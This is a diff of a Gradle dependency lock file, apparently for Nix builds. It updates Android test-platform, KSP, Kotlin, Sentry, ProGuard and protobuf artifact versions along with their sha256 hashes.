+   "pom": "sha256-cIoYgUcGxofG2pG4g5n4uwF1fT456+3onsAbcLjJOCM="
   },
-  "com/android/tools/utp#android-device-provider-ddmlib-proto/31.6.1": {
-   "jar": "sha256-2p8/Pa4mVEyQZoVJWEdl1YVKh8Ql0s/ld80002AOoJc=",
-   "pom": "sha256-eOOwDF+DPBf3rKWULwBsorkVu9lg9k1TSo1AoDm62aI="
+  "com/android/tools/utp#android-device-provider-ddmlib-proto/31.9.2": {
+   "jar": "sha256-BHrs3WbhBhN/d6UsRC8bg9t9boSWiZgAJR8gbH853mU=",
+   "pom": "sha256-YjaKOSTVNIuMTMsPcWPRJKxNz31PpCJeTlFRi/ziYG0="
   },
-  "com/android/tools/utp#android-device-provider-gradle-proto/31.6.1": {
-   "jar": "sha256-rSNCux1vlVY0AKMiST6hwinLk985RPEmG3OZ9xhJQEk=",
-   "pom": "sha256-da7iacXcaVBY4hK/6bQGXlNPfbVdb+IprrQ62VFU51o="
+  "com/android/tools/utp#android-device-provider-gradle-proto/31.9.2": {
+   "jar": "sha256-ZagpFgS/3h9vdcqFMqOBQ57IH9lY8yeCqwBH+2HZp6E=",
+   "pom": "sha256-5yyONF6PV/scLXhH8O29O0aLUsaGE9Ullb7XyWyjoEI="
   },
-  "com/android/tools/utp#android-test-plugin-host-additional-test-output-proto/31.6.1": {
-   "jar": "sha256-OEUGlN5jKMLEy6aW+cBOzdXOaVI1X2jDoi+VQdHWVG8=",
-   "pom": "sha256-cP+V6yxSgoI6jJjvssM+5tLyGWS4he9IXxkhF0ODIMY="
+  "com/android/tools/utp#android-device-provider-profile-proto/31.9.2": {
+   "jar": "sha256-PnsJj24+yuMbb3kJw0O07AmqGNion0G/kgd7pLBW9FM=",
+   "pom": "sha256-Brw2CcYYGzLOmC0HU7Oe25ziGxZZVAspJ5Z842Vadho="
   },
-  "com/android/tools/utp#android-test-plugin-host-apk-installer-proto/31.6.1": {
-   "jar": "sha256-VD62yNcrLtdFH46TnV2AiQVm8UvCa335yDR1BrJY164=",
-   "pom": "sha256-771HKHgCPhXZzZNlIth03F/Um+MUIScA9rF6BYFxF8E="
+  "com/android/tools/utp#android-test-plugin-host-additional-test-output-proto/31.9.2": {
+   "jar": "sha256-a6fmrCII10wbtfHRRkq6/GpF2HELIEVaLcAq34cmvIM=",
+   "pom": "sha256-NgKKzEuuabgX/PsJTYQUL8IRWgTK+ZUroUKs5Kx03OI="
   },
-  "com/android/tools/utp#android-test-plugin-host-coverage-proto/31.6.1": {
-   "jar": "sha256-77TXAUqqc1UkagfC5DeiIx+yUlQP8bzmhyyI3I2onRI=",
-   "pom": "sha256-orxwsWG8GzB3crqSXOMlRKR1Of3gSnCbMgiFYKvpvtY="
+  "com/android/tools/utp#android-test-plugin-host-apk-installer-proto/31.9.2": {
+   "jar": "sha256-RXBdYbIQBuhTPmz4q3lYp95t7KzmjtbAnbit4SFthZw=",
+   "pom": "sha256-AkcBSZOYuYAd6UznOdyr6bwoRVWGmCnsPYyj9zdl35M="
   },
-  "com/android/tools/utp#android-test-plugin-host-emulator-control-proto/31.6.1": {
-   "jar": "sha256-rt7F7EYn2JjMzfQtgDjbIOukSVdTxT0bCzeHNEkcr18=",
-   "pom": "sha256-tApCizomm6Ik+1p6DQ0swY5TEgFVDuR1Wx1wR4k6mQs="
+  "com/android/tools/utp#android-test-plugin-host-coverage-proto/31.9.2": {
+   "jar": "sha256-+oZxmj3F3kZffgwCMYRBTCf4/VOjT9VXKJwL9t80AkQ=",
+   "pom": "sha256-TM43f6I9hQgO9mSaATpgjYVKU5Psj5C2CzGQ0vY0XbA="
   },
-  "com/android/tools/utp#android-test-plugin-host-logcat-proto/31.6.1": {
-   "jar": "sha256-kSkCS9jjg1O8o+sm39jjYo4FjVfW6dhFH/w18BZ1HmM=",
-   "pom": "sha256-OysKImsUosDlrWKdEGL7sppvGVQsXxT+D4mP/wEh5Io="
+  "com/android/tools/utp#android-test-plugin-host-emulator-control-proto/31.9.2": {
+   "jar": "sha256-pPNKrg+f+gJtv3FRQ23XrlO+y3JiK0DyxHnKyJQ9kxk=",
+   "pom": "sha256-SikflqCvaRCs1vt3LJLZffVnk3+qW8pNmJSSofS1uUw="
   },
-  "com/android/tools/utp#android-test-plugin-host-retention-proto/31.6.1": {
-   "jar": "sha256-PbjtOO9JtpTK6kZq4i47Ns7clVezWJ0OB8DN2DKUWRw=",
-   "pom": "sha256-ZnblwB6LjiWcJJEqrXEx6rC+D+/kBeUZzs6o4+kBoMg="
+  "com/android/tools/utp#android-test-plugin-host-logcat-proto/31.9.2": {
+   "jar": "sha256-wfbrus2tVZtu/k6qKVYVUrMxVjlfBpzZcD/aCcRi3qY=",
+   "pom": "sha256-mxv94aFi9Ni9/RWLVUPHDAGp9V8GakPWtaiutlsn0As="
   },
-  "com/android/tools/utp#android-test-plugin-result-listener-gradle-proto/31.6.1": {
-   "jar": "sha256-y99xvKYOFMMOeyz0uQ8PCj6ME498rdh0sNnArgguAnQ=",
-   "pom": "sha256-j1FzWv7i9yDS70ZCGHoppH7u2uTuNVyS/X3R9K526rQ="
+  "com/android/tools/utp#android-test-plugin-host-retention-proto/31.9.2": {
+   "jar": "sha256-CPGvlhFbK9As1LaE4ZT1xcJ2PwHI9Z4BHZrsyz/vGGM=",
+   "pom": "sha256-vG8p1Uz5KQGatASJx1yygpyNkVgp/uRlgrMpyaE1IsQ="
   },
-  "com/google/testing/platform#core-proto/0.0.9-alpha02": {
-   "jar": "sha256-bYqJBndBUPQ6j60IymTiXGBww5vYpvwTslk/KJJC/pU=",
-   "pom": "sha256-J855WUJ6L/7kjQ/rRRKKPzbMQX7YqCKvoigiyPWliyU="
+  "com/android/tools/utp#android-test-plugin-result-listener-gradle-proto/31.9.2": {
+   "jar": "sha256-1Cm5MS3/oFAzgdHuGxipmb2QHnRWYSsvtIxqXVosr4g=",
+   "pom": "sha256-YJFSnIGoI/3PHZ8PwWMQxdf37wYGQNdaYHBGduWJN5U="
+  },
+  "com/google/testing/platform#core-proto/0.0.9-alpha03": {
+   "jar": "sha256-0AHrDMu/yMueqhk6NY5jcSl0Y5d1ZHvpSasjLCsptAc=",
+   "pom": "sha256-O7RSgN8d0clrmgFySmFFZrfWDTNFP81SwsdB+ZmcOk4="
   }
  },
  "https://plugins.gradle.org/m2": {
@@ -595,23 +615,23 @@
    "jar": "sha256-05mSkYVd5JXJTHQ3YbirUXbP6r4oGlqw2OjUUyb9cD4=",
    "pom": "sha256-r97W5qaQ+/OtSuZa2jl/CpCl9jCzA9G3QbnJeSb91N4="
   },
-  "com/google/devtools/ksp#com.google.devtools.ksp.gradle.plugin/2.1.20-1.0.31": {
-   "pom": "sha256-lrP34a55nJ9OmB1DIOe/SzsXFWRF1s2MvXXH1/1Cv/s="
+  "com/google/devtools/ksp#com.google.devtools.ksp.gradle.plugin/2.1.21-2.0.1": {
+   "pom": "sha256-uhlRo9qxiovCyTnXojCw2VO8auNi3VIKR3zfXLFHGOE="
   },
-  "com/google/devtools/ksp#symbol-processing-api/2.1.20-1.0.31": {
-   "jar": "sha256-dy+FxyWzgCE9grQ9abQImS/U2sr50zJo4kJpQQ6gl5g=",
-   "module": "sha256-4GCAUjhnrw8wK83PqhzRT0jXO0EG852X7TvKh6yL8Lk=",
-   "pom": "sha256-uqoBWau+KpclCzYnONSk6a+seGjjZ5uD4jOeOKVWYHo="
+  "com/google/devtools/ksp#symbol-processing-api/2.1.21-2.0.1": {
+   "jar": "sha256-ayE0FIw7yenPnPI51FAxohzXiZVqIVktGjIx/orjCa8=",
+   "module": "sha256-FOy0d2qAcehhKYMzGUMTmbKmnm6b/tyymSU4vaymz8A=",
+   "pom": "sha256-ITlIj5MwvlkbT6pX4bgdH7qDaWi1HwBx8JRJ4+0J8sE="
   },
-  "com/google/devtools/ksp#symbol-processing-common-deps/2.1.20-1.0.31": {
-   "jar": "sha256-qiyLzpH11PQt9VjLY6CXZMYHmKIcyvsue2Iwjdzc2TY=",
-   "module": "sha256-lSn8quFQ0UpsBgHuv2mBUEnzv2asHlnOaO57fU2XnUE=",
-   "pom": "sha256-eeve5b/kHDHPi1u83bvZftu8JhyYbuv+DeZf1WEQ7q4="
+  "com/google/devtools/ksp#symbol-processing-common-deps/2.1.21-2.0.1": {
+   "jar": "sha256-Ac31K1nT4gaqT6YngdFQWly9mHQ8BbBy+cjLnmqi4AM=",
+   "module": "sha256-m2jwFBX8A9ZB+C4uSzfemenf30pYX7gltGAbtyyqWUw=",
+   "pom": "sha256-342+OK5yUR4F6fUuqhYaBU/Q01S1SfVI4AiPL8cp1j0="
   },
-  "com/google/devtools/ksp#symbol-processing-gradle-plugin/2.1.20-1.0.31": {
-   "jar": "sha256-2ewkT6M+FXQk8eA2jNAWxKI4adwsUftrk6+aUuxIIVI=",
-   "module": "sha256-7q8aYoisLJi7sZRlqpfuLHWSSv1dK+/KO3w7hQP+P/w=",
-   "pom": "sha256-nQnbav/D80/FQo57fXmATVEROP3h0WIeKtEc9mQhXbY="
+  "com/google/devtools/ksp#symbol-processing-gradle-plugin/2.1.21-2.0.1": {
+   "jar": "sha256-nkVMuS/UrcL/6tWaCaiDH+Bmpk3Z5IPaVdjRrzAHGCE=",
+   "module": "sha256-Ilxdo/6zKViDaPfOQs89ZeXfInXx79tucXTQNv/lZyk=",
+   "pom": "sha256-werAp7M/MlLNFpH01DQo2PFDUVsisahkBqTFaJOSFjg="
   },
   "com/google/errorprone#error_prone_annotations/2.21.1": {
    "jar": "sha256-0fPGaqkaxSVJ4Arjsgi6S5r31y1o8jBkNVO+s45hGKw=",
@@ -698,13 +718,13 @@
    "jar": "sha256-okR19sz+HMek/p404Fzmh7DODG6Mt4Hg7O07GGSCxh4=",
    "pom": "sha256-N1e360Vz2a4E37ViqPa9WqtKZbiD31RKTzYJTXz+I78="
   },
-  "io/sentry#sentry-kotlin-multiplatform-gradle-plugin/0.11.0": {
-   "jar": "sha256-oF79yaoh0yoN/JzCh34jdSMHhBQ1HAhvng6H/WnigfA=",
-   "module": "sha256-BAVFTRMLVMv0d3rlOiVcJRDpnjGMhw5hwD+xYCxhDGk=",
-   "pom": "sha256-lsnWBhj/V6ICwjZdCW1tN5C5jhcTTzEMfPySFO/dius="
+  "io/sentry#sentry-kotlin-multiplatform-gradle-plugin/0.12.0": {
+   "jar": "sha256-fNWyQ/wl4q5Yu2Z5949zRNSKFn2bwkPY62K6/gohNfc=",
+   "module": "sha256-2SanANsKdiFM/8djX4XR4cKignE1dYiR61vaHTRCNLc=",
+   "pom": "sha256-hMx9AcxMCi+9wW3PuhojMcosp5tvk01+G8FYTR95fCo="
   },
-  "io/sentry/kotlin/multiplatform/gradle#io.sentry.kotlin.multiplatform.gradle.gradle.plugin/0.11.0": {
-   "pom": "sha256-Wx8+RUj2DLyVZUVk+Xk+cbuU1STNcmfaPjL5xTFExP4="
+  "io/sentry/kotlin/multiplatform/gradle#io.sentry.kotlin.multiplatform.gradle.gradle.plugin/0.12.0": {
+   "pom": "sha256-dWlEf6xFV/F5LqZfMmDGp/HXhYB66H+rGHOLYjr+nkA="
   },
   "io/swagger#swagger-annotations/1.6.14": {
    "jar": "sha256-J22F3CEgy8MLCL40t7rlQYRnymmDgUsNHgcYKeu1xQA=",
@@ -992,9 +1012,9 @@
    "jar": "sha256-j8orSvbEzyRWXZp/ZMMXhIlRjQSeEGmB22cY7yLK4Y4=",
    "pom": "sha256-zL2XaTA2Y0gWKVGY5JRFNPr7c9d4+M1NQ588h7CQ9JQ="
   },
-  "org/jetbrains/kotlin#kotlin-build-tools-api/2.1.20": {
-   "jar": "sha256-Uzw2yzYubtLRX1hzLn9MbSvtXJ1RebiXvEsJ0W1gU3c=",
-   "pom": "sha256-kn9h95cmHFnktTEDFNaf1KOrjvT3A596UyYHXEKkFzo="
+  "org/jetbrains/kotlin#kotlin-build-tools-api/2.1.21": {
+   "jar": "sha256-BrtrNnHUvDunTA4O+rvc1VXMwtTMLvZ80wnFc4yNHlQ=",
+   "pom": "sha256-U5ag0mBsMOA66ZSnl8b5FoTG47LZ6aRf1pLl6T7sDJM="
   },
   "org/jetbrains/kotlin#kotlin-compiler-embeddable/2.0.21": {
    "jar": "sha256-n6jN0d4NzP/hVMmX1CPsa19TzW2Rd+OnepsN4D+xvIE=",
@@ -1016,9 +1036,9 @@
    "jar": "sha256-W0cHoy5GfvvhIsMY/2q9yhei/H2Mg/ZgN8mhILbcvC8=",
    "pom": "sha256-P+CLlUN7C074sWt39hqImzn1xGt+lx1N+63mbUQOodg="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/2.1.20": {
-   "jar": "sha256-sk9SbQ3++wKWrg9Ks2L51soCV3JcwnMIOprjN+ooJn0=",
-   "pom": "sha256-wKs06ffQCv3LIv0D5S6PhZpGR9lY4Lh7fQzSY0QWOlo="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/2.1.21": {
+   "jar": "sha256-eEu/b4g00ez2XsUf57RLQW8zBS6CGWKlm55/dOCU9pY=",
+   "pom": "sha256-QxApK3Qc26Bu6iaC8YU5U4i+OvPLATzIo+gei5NokQA="
   },
   "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.0.21": {
    "jar": "sha256-Uur1LOMDtSneZ6vDusE+TxNZY1dUPfqDHE1y0tYxDlA=",
@@ -1028,12 +1048,12 @@
   "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.0.21/gradle85": {
    "jar": "sha256-Uur1LOMDtSneZ6vDusE+TxNZY1dUPfqDHE1y0tYxDlA="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.20": {
-   "module": "sha256-AsJsJlASRw1yrc3buCTSOOayieEAzUu/moJ1Cj1Jv8A=",
-   "pom": "sha256-t02/6klcg6xWRwS6qDmk56W3kRiMj3llbJwZ3XfeLxg="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.21": {
+   "module": "sha256-q9fHAOmpTF3zzNlek9LuqwwZJkXXB+rZXFzqR+gcwns=",
+   "pom": "sha256-QG8P2ImjHfVX+txkaouXADreDCRrX7N6YTYZFWMgUfc="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.20/gradle85": {
-   "jar": "sha256-fjYZlm/jid9IV59DsY8sCwc2llWZFTd8lELrqM+7+/Y="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.21/gradle85": {
+   "jar": "sha256-VY+KMrr1qH6WlMi7OVVwqeduCuqrqmg/msH83oujqsw="
   },
   "org/jetbrains/kotlin#kotlin-gradle-plugin-idea-proto/2.0.21": {
    "jar": "sha256-UzVXQrV7qOFvvfCiBDn4s0UnYHHtsUTns9puYL42MYg=",
@@ -1060,9 +1080,9 @@
    "module": "sha256-8JRUh/5RlZ/fi2oUQXB6Ke1fGsMaIxx/3r4sPd0i/fE=",
    "pom": "sha256-Z1AT1Mvu4JyIkgriuiRvmfKKeJuHT2NASeAS+j7r9Mg="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/2.1.20": {
-   "module": "sha256-IF4RacYovsBfHVnkTTIJFSiun9U6fjPsVDvO/bEojeY=",
-   "pom": "sha256-Y5ymx2U+Gp2pXfKjuuJsy3AcA6/VjHl6tr9vJV9kwwE="
+  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/2.1.21": {
+   "module": "sha256-avSUrGVuckg0HOukOePWJhFtARfJ+9+Xq+5lcOEaCHc=",
+   "pom": "sha256-eTmPhH1rfKipak5GOf+iLhaRJIr+tOgQGeEdG9C7IFI="
   },
   "org/jetbrains/kotlin#kotlin-klib-commonizer-api/2.0.21": {
    "jar": "sha256-R1eJEWW2mPvazo9NpvK8DpiOrvnvNnE1SIZajycGmv0=",
@@ -1072,9 +1092,9 @@
    "jar": "sha256-ResIo5Kfl8SKkpEsliV3nRVAvG8/IS+56UYg0DJrzAA=",
    "pom": "sha256-ZpB3PnZJ0dD61V0GCaTiHh68mF3Q+iYenG/9OJhnBh0="
   },
-  "org/jetbrains/kotlin#kotlin-native-utils/2.1.20": {
-   "jar": "sha256-pyVic6u53yI1kk2A/dNtZ4tFhGfDB2xmhRxCQ3vdPGY=",
-   "pom": "sha256-1Gec6AsERY5fzL1pteMUvxwMFnmH4EOVRv3+z7U+M0Y="
+  "org/jetbrains/kotlin#kotlin-native-utils/2.1.21": {
+   "jar": "sha256-3ECUhclc04pfMNWHjr6ai/Lm5vJUtv6eRcygmZkF4HA=",
+   "pom": "sha256-2RW7ZEMRhfvbhlxNKxLmuniqaME0fFnfrieaMqIyhPk="
   },
   "org/jetbrains/kotlin#kotlin-sam-with-receiver/2.0.21": {
    "module": "sha256-kJCVCx7oa4b+KWmV2AKG6opPN5+yshjoVvzt0ErS1Hk=",
@@ -1083,12 +1103,12 @@
   "org/jetbrains/kotlin#kotlin-sam-with-receiver/2.0.21/gradle85": {
    "jar": "sha256-HSNuNiIzuaJx5QsiOlDI2+rdA1C2OiRkYIJWhS2jaKM="
   },
-  "org/jetbrains/kotlin#kotlin-serialization/2.1.20": {
-   "module": "sha256-OMZPybedsk2Y415NutDvDjOxdsKXSTE8c7k6D5bCIgs=",
-   "pom": "sha256-Ffv0qiQBTCr6vmXjwzrY39LYocR8z5dsBbqKNqGou0I="
+  "org/jetbrains/kotlin#kotlin-serialization/2.1.21": {
+   "module": "sha256-slOwL1BlFSW4AeKUXZr9RVUrRCC/FPzhxQDKX4lHyc8=",
+   "pom": "sha256-+oVjLbzKF7IlJM0ldKyFsgzE+u5oLIGeWDe+0Sncy4w="
   },
-  "org/jetbrains/kotlin#kotlin-serialization/2.1.20/gradle85": {
-   "jar": "sha256-rNawwcN18ocop1LMbI0itREnbFT1DZcb7UM957K9qjI="
+  "org/jetbrains/kotlin#kotlin-serialization/2.1.21/gradle85": {
+   "jar": "sha256-G6Oulwq5Idk694SifQQ4wPjeXTIxqKX8lo7V+INk5d4="
   },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.9.25": {
    "jar": "sha256-+1Nz3XYbTpPj9TjF6FO7o4pxFDoYFTbo8ZPtbk7ds7g=",
@@ -1107,24 +1127,24 @@
    "jar": "sha256-W28UhUj+ngdN9R9CJTREM78DdaxbOf/NPXvX1/YC1ik=",
    "pom": "sha256-MiVe/o/PESl703OozHf4sYXXOYTpGxieeRZlKb36XVo="
   },
-  "org/jetbrains/kotlin#kotlin-tooling-core/2.1.20": {
+  "org/jetbrains/kotlin#kotlin-tooling-core/2.1.21": {
    "jar": "sha256-tPu1I+hmLUqEUbmjap5/1D9jfLDNapueNoFxlmXavY0=",
-   "pom": "sha256-PO8cS3yC7KjMAcMMrt0VSQWeZfL51BYsjJ13+6JBMXY="
+   "pom": "sha256-RdzNNvsgz0B28XOMmbzt98rdd3Xti8cWopgr0VzpaDA="
   },
   "org/jetbrains/kotlin#kotlin-util-io/2.0.21": {
    "jar": "sha256-Dv7kwg8+f5ErMceWxOR/nRTqaIA+x+1OXU8kJY46ph4=",
    "pom": "sha256-4gD5F2fbCFJsjZSt3OB7kPNCVBSwTs/XzPjkHJ8QmKA="
   },
-  "org/jetbrains/kotlin#kotlin-util-io/2.1.20": {
-   "jar": "sha256-gqOymmEdR85jSuLmxQnN4qhvlLI7hr4whk6z1Lj+jn4=",
-   "pom": "sha256-eSQnftICC4UQ1F8N0QgREmVoEDAH2D+ZcfwYRmC9hKM="
+  "org/jetbrains/kotlin#kotlin-util-io/2.1.21": {
+   "jar": "sha256-43JJKisFVtYv0Djj7fxFMbVQZUhs4o0E9HBj0rwDDBw=",
+   "pom": "sha256-XzfSWuJDprEFAHoH18j0Wd4zep84fMiz63VPmNZCoA4="
   },
   "org/jetbrains/kotlin#kotlin-util-klib/2.0.21": {
    "jar": "sha256-oTtziWVUtI5L702KRjDqfpQBSaxMrcysBpFGORRlSeo=",
    "pom": "sha256-724nWZiUO5b1imSWQIUyDxAxdNYJ7GakqUnmASPHmPU="
   },
-  "org/jetbrains/kotlin/plugin/serialization#org.jetbrains.kotlin.plugin.serialization.gradle.plugin/2.1.20": {
-   "pom": "sha256-YjXePQABYjdcj3IvCO2hU/CQ4RoDW0qbi+fqxO8UX+Y="
+  "org/jetbrains/kotlin/plugin/serialization#org.jetbrains.kotlin.plugin.serialization.gradle.plugin/2.1.21": {
+   "pom": "sha256-X5lVwimv4qtP70Bnu1qdZdRHStTwBcqDk481HfSPCTY="
   },
   "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.6.4": {
    "pom": "sha256-qyYUhV+6ZqqKQlFNvj1aiEMV/+HtY/WTLnEKgAYkXOE="
@@ -1402,26 +1422,32 @@
    "jar": "sha256-8d0j+K40qOkTZnI5kerQ1kmdGj6RY85VDCALAtdqhys=",
    "pom": "sha256-JlupWajhPDoGEz8EtTkWnBAY2v/U0z9TxFOrTLOG9XA="
   },
+  "com/google/devtools/ksp#symbol-processing-aa-embeddable/2.1.21-2.0.1": {
+   "jar": "sha256-SpNovAbJIUydH8EqHYQre1d9usBKuvFN53j7V1Gv/CM=",
+   "pom": "sha256-OtZIlhwvEESzL19qR/Jt8NSucbykDwD1zG12aJU8F8M="
+  },
   "com/google/devtools/ksp#symbol-processing-api/2.0.10-1.0.24": {
    "jar": "sha256-3X3eBwvlTeZse91N4ExD+0KeDGK7EypkSM+jNlOvsik=",
    "module": "sha256-v8OiFHE2oHw5IP2mGeugc8uTgcVlf++xYc/ViZSPmVI=",
    "pom": "sha256-RSj+eY/v7sCVpz6GHBIG+oJUlqDntlInL0D/yWCBTmI="
   },
-  "com/google/devtools/ksp#symbol-processing-api/2.1.20-1.0.31": {
-   "jar": "sha256-dy+FxyWzgCE9grQ9abQImS/U2sr50zJo4kJpQQ6gl5g=",
-   "module": "sha256-4GCAUjhnrw8wK83PqhzRT0jXO0EG852X7TvKh6yL8Lk=",
-   "pom": "sha256-uqoBWau+KpclCzYnONSk6a+seGjjZ5uD4jOeOKVWYHo="
+  "com/google/devtools/ksp#symbol-processing-api/2.1.21-2.0.1": {
+   "jar": "sha256-ayE0FIw7yenPnPI51FAxohzXiZVqIVktGjIx/orjCa8=",
+   "module": "sha256-FOy0d2qAcehhKYMzGUMTmbKmnm6b/tyymSU4vaymz8A=",
+   "pom": "sha256-ITlIj5MwvlkbT6pX4bgdH7qDaWi1HwBx8JRJ4+0J8sE="
   },
-  "com/google/devtools/ksp#symbol-processing/2.1.20-1.0.31": {
-   "jar": "sha256-Ur1VHTVEWTntuCsPTlKCLHVH+Qa8gellmZ5nqSHlQp4=",
-   "pom": "sha256-hMXtNZ96txDxZjUS7NMqc3khjyaZA05mT9lLc/XJV4E="
+  "com/google/devtools/ksp#symbol-processing-common-deps/2.1.21-2.0.1": {
+   "jar": "sha256-Ac31K1nT4gaqT6YngdFQWly9mHQ8BbBy+cjLnmqi4AM=",
+   "module": "sha256-m2jwFBX8A9ZB+C4uSzfemenf30pYX7gltGAbtyyqWUw=",
+   "pom": "sha256-342+OK5yUR4F6fUuqhYaBU/Q01S1SfVI4AiPL8cp1j0="
+  },
+  "com/google/devtools/ksp#symbol-processing/2.1.21-2.0.1": {
+   "jar": "sha256-nCAksg9sUsk+NoUfHHcKMg0EEsrqzu83wo1A5uP8KZA=",
+   "pom": "sha256-Xj39efqTlcfwIhJfrW4QJM7Nqsq/p65ecgAn3+hpHZ0="
   },
   "com/google/errorprone#error_prone_annotations/2.11.0": {
    "pom": "sha256-AmHKAfLS6awq4uznXULFYyOzhfspS2vJQ/Yu9Okt3wg="
   },
-  "com/google/errorprone#error_prone_annotations/2.18.0": {
-   "pom": "sha256-kgE1eX3MpZF7WlwBdkKljTQKTNG80S9W+JKlZjvXvdw="
-  },
   "com/google/errorprone#error_prone_annotations/2.26.1": {
    "jar": "sha256-3iXy2aIVZSm9dl9R2O/fwN+nMB4E77nMdbfxDPXQ4Ps=",
    "pom": "sha256-rqfpkeLf3LR/X71QhYdTX3gCvLni/C1Ou1C+QbaE2p8="
@@ -1440,9 +1466,6 @@
   "com/google/errorprone#error_prone_parent/2.11.0": {
    "pom": "sha256-goPwy0TGJKedMwtv2AuLinFaaLNoXJqVHD3oN9RUBVE="
   },
-  "com/google/errorprone#error_prone_parent/2.18.0": {
-   "pom": "sha256-R/Iumce/RmOR3vFvg3eYXl07pvW7z2WFNkSAVRPhX60="
-  },
   "com/google/errorprone#error_prone_parent/2.26.1": {
    "pom": "sha256-SmrQDTGwpa3Nmk9gUGXVtEX65KBMv4J+XRrBB34vgU0="
   },
@@ -1514,17 +1537,26 @@
   "com/google/protobuf#protobuf-bom/3.22.3": {
    "pom": "sha256-E6Mt+53m/Bw8P3r1Pk1cd/130rR2uuOLdLdYHN7i5lU="
   },
+  "com/google/protobuf#protobuf-bom/3.24.4": {
+   "pom": "sha256-BOz9UsUN8Hp1VR+bCeDvMGMO5CN9CRyg7KceW/t4zOU="
+  },
   "com/google/protobuf#protobuf-java-util/3.22.3": {
    "jar": "sha256-xhX3aHncXDA+TfW5Smr6OVNAWMdUXbLUg/2V2fY8i/4=",
    "pom": "sha256-tEcBsGoGSGXsm1YUqT6eKPrdfU38S0YPIcgZ71Pb4tY="
   },
   "com/google/protobuf#protobuf-java/3.22.3": {
-   "jar": "sha256-WdOI6motLXaujv/3/U0MYMbw9GTD06ub6OWt0JKXVwg=",
    "pom": "sha256-GG6nlBUPW0Kup+xgQd83PR2KioMWJPWKVd67YEPscxI="
   },
+  "com/google/protobuf#protobuf-java/3.24.4": {
+   "jar": "sha256-5WVVIr4apcwfLwkqoDawRFFX8pSSju3xMyrJOMe2loY=",
+   "pom": "sha256-OUEiHKZXgZ3evZX+i3QPRwr3q/MEYLE+ocmrefEPq5E="
+  },
   "com/google/protobuf#protobuf-parent/3.22.3": {
    "pom": "sha256-OZEz1/b1eTTddsSxjoY0j0JFMhCNr0oByPgguGZfCSk="
   },
+  "com/google/protobuf#protobuf-parent/3.24.4": {
+   "pom": "sha256-+37AUFh2/bnseVEKztLR6wTDuM/GkLWJBJdXypgcrbM="
+  },
   "com/google/truth#truth-parent/1.0.1": {
    "pom": "sha256-HH/IY4Mu2YCOQ9jBdpH/Fn0xPxETTvx1Yf9R0UIZbX4="
   },
@@ -1540,20 +1572,20 @@
    "jar": "sha256-dXv+kGGTuLZR553CbNZ9a1XQdwos37A4FZFQT3edSnY=",
    "pom": "sha256-eEY5mzXHzWQqmzoADD4tYtBOs3pFR7aTPMixi8wvCGs="
   },
-  "com/guardsquare#proguard-base/7.6.1": {
-   "jar": "sha256-wmUOZmw0Q3gdxenq7l3ochWT8AvkTp2HzsdhQGNXx3A=",
-   "module": "sha256-JdmBh6U8Iv9cCQfhdTWgK0Q4Wk3FSISxJ5uhKQg6Zys=",
-   "pom": "sha256-O3Fie597ZAogi4a7LLfEgUItx6e3izXZny0Y50dSH/0="
+  "com/guardsquare#proguard-base/7.7.0": {
+   "jar": "sha256-Qt/52lNIJaXmlHUjWOAre41dqTm+m50H+Zh0SEkubnk=",
+   "module": "sha256-mfDPLg56BcGCyaRwa4WU/Xp60uP7EvIs0ScMyphKspM=",
+   "pom": "sha256-fRxMbEcM4UY59Ls3tn+l+EeffxVn85pETtBHhLS4544="
   },
-  "com/guardsquare#proguard-core/9.1.7": {
-   "jar": "sha256-2wb6n2tDu304ZCD4VPQapVoRAj3ja61o4EPDrD8zuNU=",
-   "module": "sha256-CUllErGoVDVOUdGan6XEEjVKLTlZYczHasOIL5WlTgs=",
-   "pom": "sha256-m+fvKU0pm6gP/ZzKEa0wl+N+QTcbZGSYElqADUqO0qg="
+  "com/guardsquare#proguard-core/9.1.10": {
+   "jar": "sha256-5v9XISTgrysj0kM8W3JVfx+QXmgMthl5NCy5Fe6TgZg=",
+   "module": "sha256-ejuRDXtS4yOBDnAaJrxJ/nycq3jxOtW1i43GAeJ84oE=",
+   "pom": "sha256-m3dB6tjNAZt47jNV6D9ECJy56Xt6EhBdXLWMzgTUoM0="
   },
-  "com/guardsquare#proguard-gradle/7.6.1": {
-   "jar": "sha256-ScjoQGfRVpIV8WK59EEiVEIvX4A5eu04C8yyBZeH7xk=",
-   "module": "sha256-fND7x+oT+8EkO9lAeq2kpBe8HuLXEHcCTcmwn2SsGAc=",
-   "pom": "sha256-q/PvEB1bM2lv5Ytjm4FzrVAOqQf72Yp4JZV5+s+kkng="
+  "com/guardsquare#proguard-gradle/7.7.0": {
+   "jar": "sha256-DM48bBo11BqFqyWZXB7PUELuwUibNjwM/cjgvNhebUA=",
+   "module": "sha256-yzzOVMh0LhKMfokR8CU4cnxUtI2QqvxIMPTlyeBMdss=",
+   "pom": "sha256-TFcJ7uYXjL1kpw5T0Lpp55qim7wB+r7hkHQ8v2qkjgM="
   },
   "com/intellij#annotations/12.0": {
    "jar": "sha256-+KsTsUvggP4vYX+Q5VWZdg5KG03u6lxZXfY9DWN17W0=",
@@ -1679,9 +1711,6 @@
   "com/sun/xml/fastinfoset#fastinfoset-project/1.2.16": {
    "pom": "sha256-kFgkJa3B9AtBNi2vuVFzkxIlrKpeeWINXmvVL2Rikro="
   },
-  "commons-codec#commons-codec/1.10": {
-   "pom": "sha256-vbjbcBLREqbj6o/bfFELMA2Z7/CBnSfd26nEM5fqTPs="
-  },
   "commons-codec#commons-codec/1.11": {
    "jar": "sha256-5ZnVMY6Xqkj0ITaikn5t+k6Igd/w5sjjEJ3bv/Ude30=",
    "pom": "sha256-wecUDR3qj981KLwePFRErAtUEpcxH0X5gGwhPsPumhA="
@@ -1690,9 +1719,9 @@
    "jar": "sha256-s+n21jp5AQm/DQVmEfvtHPaQVYJt7+uYlKcTadJG7WM=",
    "pom": "sha256-yG7hmKNaNxVIeGD0Gcv2Qufk2ehxR3eUfb5qTjogq1g="
   },
